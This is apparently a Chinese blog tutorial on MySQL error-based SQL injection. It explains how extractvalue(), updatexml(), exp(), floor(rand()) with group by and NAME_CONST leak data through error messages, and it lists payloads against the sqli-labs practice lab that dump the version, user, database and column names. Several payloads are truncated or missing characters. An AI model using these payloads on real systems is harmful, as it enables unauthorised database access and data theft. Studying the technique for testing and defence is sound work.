【SQL注入-可回显】报错注入:简介、相关函数、利用方法

目录

一、定义:

1.1、简介:

1.2、利用:

1.3、利用过程:

1.4示例:

注:

二、相关函数:

2.1、最常用的三种是:

2.2、Xpath语法错误

extractvalue()

updatexml()

2.3、数据溢出

exp()

2.4、主键重复

原理:

rand():

count(*):

group by x:

floor(x):

2.5、函数特性报错

列名重复

2.6、参数类型

几何函数(数字)



一、定义:

1.1、简介:

SQL报错注入:利用数据库的某些报错返回机制,刻意的制造错误条件传到数据库,使得查询结果能够出现在错误返回提示信息中

1.2、利用:

需要有SQL报错信息回 显

有显示位时,首先使用union联合查询语句

无显示位时,使用报错注入

1.3、利用过程:

第一步:注入点测试

第二步:查询字段数

第三步:判断回显位

第四步:查看数据库基本信息

第五步:爆数据库

第六步:爆数据库表

第七步:爆字段

第八步:爆数据


1.4示例:

(1)爆数据库版本信息:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.

2爆当前用户:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tab

(3)爆当前数据库:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema

(4)爆指定表的字段

?id=1'  and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM informati

注:

高版本的数据库,现在已经很多难以执行成功了



二、相关函数:

2.1、最常用的三种是:

floor()、updatexml()以及extractvalue()这三个函数

现在有很多高版本都已经用不了了

2.2、Xpath语法错误

extractvalue()是查询、updatexml()是改变

extractvalue()

作用:

对XML文档进行查询(类似在HTML文件中用标签查找元素)

------

语法:

extractvalue( XML_document, XPath_string )

参数1:XML_document(String格式),为XML文档对象的名称(输入错误的)

参数2:XPath_string(Xpath格式的字符串)(注入的地方)

------

利用:

extractvalue(1,(payload))

extractvalue(1,(concat(0x7e,(payload),0x7e)))

------

报错原理:

格式报错

xml文档中查找字符位置是用/xxx/xxx/xxx/...

写入其他格式就会报错,并返回注入请求的内容

报错最多32字符

------

利用语句:

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and extractvalue(1,concat('~',database())) --+

注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错


updatexml()

作用:

改变文档中符合条件节点的值

------

语法:

updatexml( XML_document, XPath_string, new_value )

参数1:XML_document(String格式),为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value(String格式),替换查找到的符合条件的数据

updatexml(1, payload,1)

------

报错原理:

也是格式错误

输出的字符长度有限制,其最长输出32位

2.3、数据溢出

类型贮存最小值最大值
(Bytes)(Signed/Unsigned)(Signed/Unsigned)
TINYINT1-128127
0255
SMALLINT2-3276832767
065535
MEDIUMINT3-83886088388607
016777215
INT4-21474836482147483647
04294967295
BIGINT8-92233720368547758089223372036854775807
018446744073709551615

在mysql5.5之前,整形溢出不会报错,只有版本号大于5.5.5时,才会报错

官方文档说明:out-of-range-and-overflow

在mysql中,并不是输入很长数字,考虑按位取反

报错信息是有长度限制的,在mysql/my_error.c中可以看到


exp()

(5.5.5<= MySQL数据库版本号<=5.5.49)

作用:

计算以e(自然常数)为底的幂值

------

语法:

exp(x)

------

报错原理:

当参数x超过710时,exp()函数会报错

(错误信息:DOUBLE value is of range)

------

注入语句:

id=1 and EXP(~(SELECT from (SELECT user())a))

2.4、主键重复

原理:

count()和group by

遇到rand()产生的重复值时报错


rand():

生成一个0~1之间的随机浮点数

生成[ 0 , 1 ) [0,1)[0,1)之间的随机数,可以指定参数作为种子

可以通过线性运算扩大值域,比如2 ∗ r a n d ( ) 2*rand()2∗rand()就生成了[ 0 , 2 ) [0,2)[0,2)上的随机数


count(*):

统计行数、某表下总共记录条数

count ( ∗ ) 搭配group by查询


group by x:

作用:

按x规则进行分组

------

报错原理:

利用rand()函数与group()函数的相互冲突

group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次
rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错


floor(x):

作用:

对参数x向下取整

------

语句:

and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

------

注入语句:

id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)

需要注意的是该语句将 输出字符长度限制为64个字符

2.5、函数特性报错

列名重复

报错:

mysql列名重复会报错

------

利用:

name_const来制造一个列

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

2.6、参数类型

几何函数(数字)

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等

不满足可能会报错。php版本不同,可能会会有不同的结果

报错,那不是轻轻松松报错,哈哈哈

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值